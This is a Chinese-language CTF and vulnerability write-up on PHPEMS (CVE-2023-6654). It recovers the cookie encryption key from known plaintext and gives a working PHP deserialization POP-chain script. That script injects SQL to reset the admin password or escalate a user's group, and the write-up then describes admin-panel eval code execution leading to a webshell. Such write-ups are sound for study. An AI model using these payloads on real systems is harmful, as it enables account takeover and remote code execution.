php反序列化导致的sql注入
西湖论剑赵总出的题,他提交的CVE-2023-6654
参考文章:https://mp.weixin.qq.com/s/P7akQHPp4saCl16E0Kw4tA
反序列化导致的sql注入我还是第一次见,学习
路由分析就不写了,自己去看,着重在反序列化和sql注入部分
反序列化打SQL注入
漏洞分析
反序列化点
首先通过调试会发现,每次访问都会执行新建session
对象,并执行他的getSessionId()
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public function getSessionId() { if(!$this->sessionid) { $cookie = $this->strings->decode($this->ev->getCookie($this->sessionname)); if($cookie) { $this->sessionid = $cookie['sessionid']; } } if(!$this->sessionid) { $this->_getOnlySessionid(); $this->setSessionUser(array("sessionid" => $this->sessionid,'sessionip' => $this->ev->getClientIp())); } if(!$this->getSessionValue()) { $this->setSessionUser(array("sessionid" => $this->sessionid,'sessionip' => $this->ev->getClientIp())); } return $this->sessionid; }
|
在这里他会调用strings::decode()
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public function decode($info) { $key = CS; $info = urldecode($info); $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])-ord($key[$p])); } $info = unserialize($info); return $info; }
|
这里进行了反序列化操作,也就是漏洞触发点
这里传入的值就是$this->ev->getCookie($this->sessionname)
返回的值,取的是cookie里exam_currentuse
的值
所以这里的值就是可控的。从decode()
可以知道,这个值是经过加密的,我们还需要将需要反序列化的值进行加密操作,再传进decode()
进行反序列化
加密函数破解
这里的CS的值为配置文件里定义,且我们不知道,所以我们要找方法获得这个key
对比加密和解密函数
1 2 3 4 5 6 7 8 9 10 11 12 13
| public function encode($info) { $info = serialize($info); $key = CS; $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])+ord($key[$p])); } return urlencode($info); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public function decode($info) { $key = CS; $info = urldecode($info); $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])-ord($key[$p])); } $info = unserialize($info); return $info; }
|
$key
的长度为32,$p
的值就是$i%$kl
,即取模操作,那么$p
的值就为0,1,2,xxx,xxx,xxx,31,0,1,2
依次循环,每次循环遍历了32次
加解密的大致模式为:
密文字符的ascii = 明文字符的ascii + key字符的ascii,明文字符的ascii = 密文字符的ascii - key字符的ascii
可以推出:key字符的ascii = 密文字符的ascii - 明文字符的ascii`
所以只要知道明文和对应的密文,就可以得到key,现在就是要找到可控的密文
当我们不穿任何cookie进行访问的时候,他会调用这里来生成一个cookie
1 2 3 4 5 6 7 8 9
| private function _getOnlySessionid() { $code = uniqid($this->ev->getClientIp().print_r($_SERVER,true).microtime()).rand(100000,999999); $this->sessionid = md5($code); if($this->getSessionValue($this->sessionid)) { $this->_getOnlySessionid(); } }
|
这里是取md5值,所以跟我们无关
得看$this->setSessionUser()
,跟进$this->ev->getClientIp()
,可以知道$this->e['ip']
的值是可以通过两个header控制的,比如Client-IP
和X-Forwarded-For
。并将返回值赋值给sessionip
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public function getClientIp() { if(!isset($this->e['ip'])) { if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) $ip = getenv("HTTP_CLIENT_IP"); else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) $ip = getenv("HTTP_X_FORWARDED_FOR"); else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) $ip = getenv("REMOTE_ADDR"); else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) $ip = $_SERVER['REMOTE_ADDR']; else $ip = "unknown"; $this->e['ip'] = $ip; } return $this->e['ip']; }
|
然后进入这个函数,来设置cookie
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public function setSessionUser($args = NULL) { if(!$args)return false; else { if(!$args['sessiontimelimit'])$args['sessiontimelimit'] = TIME; if(!$this->sessionid)$this->getSessionId(); $args['sessionid'] = $this->sessionid; $args['sessiontimelimit'] = TIME; $data = array('session',array(array('AND',"sessionid = :sessionid",'sessionid',$this->sessionid))); $sql = $this->pdosql->makeDelete($data); $this->db->exec($sql); $data = array('session',$args); $sql = $this->pdosql->makeInsert($data); $this->db->exec($sql); $ck = array('sessionid'=>$this->sessionid,'sessionuserid'=>$args['sessionuserid'],'sessionpassword'=>$args['sessionpassword'],'sessionip'=>$args['sessionip']); $this->ev->setCookie($this->sessionname,$this->strings->encode($args),3600*24); return true; } }
|
最后在setCookie()
进行最终的操作,将加密后的值赋值给cookie里的exam_currentuser
1 2 3 4 5 6 7
| public function setCookie($name,$value,$time=3600) { if($time)$time = TIME + $time; else $time = 0; if(CDO)setCookie(CH.$name,$value,$time,CP,CDO,false,TRUE); else setCookie(CH.$name,$value,$time,CP,'',false,TRUE); }
|
当我们设置Client-IP: 127.0.0.1
header的时候,就可以看到sessionip
的值为127.0.0.1
这里就是我们可以控制的密文部分了,其明文的为
1
| a:3:{s:9:"sessionid";s:32:"f5316b94fc79a4a0a1095f1b6b105e7d";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:1706881593;}
|
总共131个字符,其密文也应该是131个字符
为了获取到32位的key,我们需要让我们可以控制、预测的密文长度至少为32。
在这里可以取的范围为";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:
,这里的长度是60
最后为了获取完整的key,要么是找到可以整除32的起点,要么是找到重复字符串,自己去首尾拼接。我这里为了方便,选择第一种方法。
先带header,不带cookie去访问目标网站获取密文
然后利用密文和我们调式出来的明文获取key
解密脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php $enc="%2595%259Cfs%25AF%25D9lon%2586%25D9%25C8%25D7%25D6%25A0%25A1%25A2%25CA%2594X%259D%25AC%259Ccg%259DS%2598np%2595%25C5m%2595k%259C%2596%25C8g%259Bf%25C9%259D%2593%25C6%2597jb%2597%2591%2560j%25C4o%25C5dh%2594a%2587p%25AC%259F%259Dn%2584%25A6%259E%25A7%25D9%259B%25A5%25A2%25CD%25D6%2585%259F%25D6qkn%2583ah%2599g%2592%255Ee%2591b%2587p%25AC%259F%2595j%259CU%25AC%2599%25D9%25A5%259F%25A3%25D2%25DA%25CC%25D1%25C8%25A3%259B%25A1%25CA%25A4X%259D%25A2%259Cal%2593g%259Dmk%2599%2594f%259D%25B0"; $enc_r=urldecode($enc); $enc_r=urldecode($enc_r); $enc_r=substr($enc_r,64,32); function getkey($a,$b) { $key=""; $info=$a; $kl = 32; $il = strlen($a); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $key.= chr(ord($info[$i])-ord($b[$p])); } print_r($key); }
getkey($enc_r,':"sessionip";s:9:"127.0.0.1";s:1');
|
得到key为4b394f264dfcdc724a06b9b05c1e59ed
sql注入
反序列化能打的点只有一个,因为这套源码没有使用自动类加载
就是session
类的__destruct()
函数,通过更改pdosql
对象的属性,进行sql注入
1
| session::__destruct()->pdosql::makeUpdate()->pepdo::exec()
|
具体更改的地方就是pdosql
对象的tablepre
属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| public function makeUpdate($args,$tablepre = NULL) { if(!is_array($args))return false; if($tablepre === NULL)$tb_pre = $this->tablepre; else $tb_pre = $tablepre; $tables = $args[0]; $args[1] = $this->_makeDefaultUpdateArgs($tables,$args[1]); if(is_array($tables)) { $db_tables = array(); foreach($tables as $p) { $db_tables[] = "{$tb_pre}{$p} AS $p"; } $db_tables = implode(',',$db_tables); } else $db_tables = $tb_pre.$tables; $v = array();
$pars = $args[1]; if(!is_array($pars))return false; $parsql = array(); foreach($pars as $key => $value) { $parsql[] = $key.' = '.':'.$key; if(is_array($value))$value = serialize($value); $v[$key] = $value; } $parsql = implode(',',$parsql);
$query = $args[2]; if(!is_array($query))$db_query = 1; else { $q = array(); foreach($query as $p) { $q[] = $p[0].' '.$p[1].' '; if(isset($p[2])) $v[$p[2]] = $p[3]; } $db_query = '1 '.implode(' ',$q); } if(isset($args[3])) $db_groups = is_array($args[3])?implode(',',$args[3]):$args[3]; else $db_groups = ''; if(isset($args[4])) $db_orders = is_array($args[4])?implode(',',$args[4]):$args[4]; else $db_orders = ''; if(isset($args[5])) $db_limits = is_array($args[5])?implode(',',$args[5]):$args[5]; else $db_limits = ''; if($db_limits == false && $db_limits !== false)$db_limits = $this->_mostlimits; $db_groups = $db_groups?' GROUP BY '.$db_groups:''; $db_orders = $db_orders?' ORDER BY '.$db_orders:''; $sql = 'UPDATE '.$db_tables.' SET '.$parsql.' WHERE '.$db_query.$db_groups.$db_orders.' LIMIT '.$db_limits; return array('sql' => $sql, 'v' => $v); }
|
取$this->tablepre
的值,然后拼接为$db_tables
最后拼接为sql语句
1
| UPDATE x2_session SET sessionlasttime = :sessionlasttime WHERE 1 AND sessionid = :sessionid LIMIT 512
|
这里面的x2_
是可控的,所以我们可以构造sql语句来修改管理员密码或者修改用户的权限,然后利用#
或者+ --qwe
来注释后面的sql语句
通过查看注册代码,可以知道这里的密码是经过md5加密
所以设置$this->tablepre
的值为
1
| x2_user SET userpassword = 'e10adc3949ba59abbe56e057f20f883e' WHERE userid = 1 #
|
最后得到拼接的sql语句为
1
| UPDATE x2_user SET userpassword = 'e10adc3949ba59abbe56e057f20f883e' WHERE userid = 1 #session SET WHERE 1 AND sessionid = :sessionid LIMIT 512
|
进入到后面的exec()
里,因为预编译的值都被注释了,所以不会影响sql语句的执行
执行成功
看表里也被修改了
漏洞利用
在构造序列化的时候,需要注意添加到一个数组里,否则在执行到这里的时候,会报错,导致无法进入__destruct()
方法里
同时还要注意php版本,php5和php7反序列化时对访问控制修饰符的敏感性不一样,所以pop链最好做成以php5版本的,这样php7才通用,我之前就犯了这个错误,导致php5环境用不了,导致报错
通过修改用户权限的方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php namespace PHPEMS{
class pdosql{ private $db; public $tablepre = "x2_user SET usergroupid = 1 WHERE username = 'v2ish1yan' #"; public function __construct(){ $this->db=new pepdo(); } }
class pepdo {
} class session{ public function __construct(){ $this->pdosql=new \PHPEMS\pdosql(); $this->db=new \PHPEMS\pepdo(); } }
}
namespace { function encode($info) { $info = serialize($info); $key = "4b394f264dfcdc724a06b9b05c1e59ed"; $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])+ord($key[$p])); } return urlencode($info); } $a=new \PHPEMS\session(); $arr=array("sessionid"=>"213",$a); echo urlencode(encode($arr)); }
|
将得到的值设置为exam_currentuser
,带着这个cookie访问网站
成功修改权限,登录后台
RCE(代码执行)
漏洞分析
代码执行首先找关键函数
只有一个文件里有执行eval()
函数
主要是这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| public function parseBlock($blockid) { $block = $this->block->getBlockById($blockid); if($block['blocktype'] == 1) { echo html_entity_decode($block['blockcontent']['content']); } elseif($block['blocktype'] == 2) { if($block['blockcontent']['app'] == 'content') { $args = array('catid'=>$block['blockcontent']['catid'],'number'=>$block['blockcontent']['number'],'query'=>$block['blockcontent']['query']); $blockdata = $this->_getBlockContentList($args); $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['template']))); $blockcat = $this->category->getCategoryById($block['blockcontent']['catid']); $blockcatchildren = $this->category->getCategoriesByArgs(array(array("AND","catparent = :catparent",'catparent',$block['blockcontent']['catid']))); eval(' ?>'.$tp.'<?php namespace PHPEMS; '); } else { $args = array('catid'=>$block['blockcontent']['catid'],'number'=>$block['blockcontent']['number'],'query'=>$block['blockcontent']['query']); $obj = \PHPEMS\ginkgo::make('api',$block['blockcontent']['app']); if(method_exists($obj,'parseBlock')) $blockdata = $obj->parseBlock($args); else return false; } return true; } elseif($block['blocktype'] == 3) { if($block['blockcontent']['sql']) { $sql = array('sql' => str_replace('[TABLEPRE]',DTH,$block['blockcontent']['sql'])); } else { $tables = array_filter(explode(',',$block['blockcontent']['dbtable'])); $querys = array_filter(explode("\n",str_replace("\r","",html_entity_decode($this->ev->stripSlashes($block['blockcontent']['query']))))); $args = array(); foreach($querys as $p) { $a = explode('|',$p); if($a[3]) { if($a[3][0] == '$') { $s = stripos($a[3],'['); $k = substr($a[3],1,$s-1); $v = substr($a[3],$s,(strlen($a[3]) - $s)); $execode = "\$a[3] = \"{\$this->tpl_var['$k']$v}\";"; } else { $k = substr($a[3],2,(strlen($a[3]) - 2)); $execode = "\$a[3] = \"{\$$k}\";"; } eval($execode); } $args[] = $a; }
$data = array(false,$tables,$args,false,$block['blockcontent']['order'],$block['blockcontent']['limit']); $sql = $this->pdosql->makeSelect($data); } $blockdata = $this->db->fetchAll($sql,$block['blockcontent']['index']?$block['blockcontent']['index']:false,$block['blockcontent']['serial']?$block['blockcontent']['serial']:false); $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['template']))); eval(' ?>'.$tp.'<?php namespace PHPEMS; '); return true; } elseif($block['blocktype'] == 4) { $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['content']))); eval(' ?>'.$tp.'<?php namespace PHPEMS; '); } else return false; } }
|
他的逻辑,就是从数据库里取出block的值,然后进行相关操作
在后台的内容-标签管理处
可以设置4种不同的类型,对应的就是blocktype
的值
然后这个系统定义的标签会在注册页面触发,通过修改这个里面的值就会造成代码执行
对于这种会存入数据库再取出来的操作,这中间的过程可以不用了解的太详细,可以直接看取出的结果,如果取出的结果不是我们想要的,再去看如何存取就行了。
可以知道这里代码执行都是使用
1 2
| eval(' ?>'.$tp.'<?php namespace PHPEMS; ');
|
代码执行到这时,$tpl
的值就是我们原封不动写进模板的值。
在这里要注意,必须要先声明一个对象,再执行恶意代码。这是php的龟腚:Namespace declaration statement has to be the very first statement or after any declare call
漏洞利用
可以看到除了第一种类型的block,其他三种都有eval
函数
所以有三种打法
标签类型为分类列表
应用要为内容
然后蚁剑连接即可
标签类型为SQL模式
这里手写SQL的值必须为空
蚁剑连接即可
标签类型为模板模式
直接写就行
蚁剑连接即可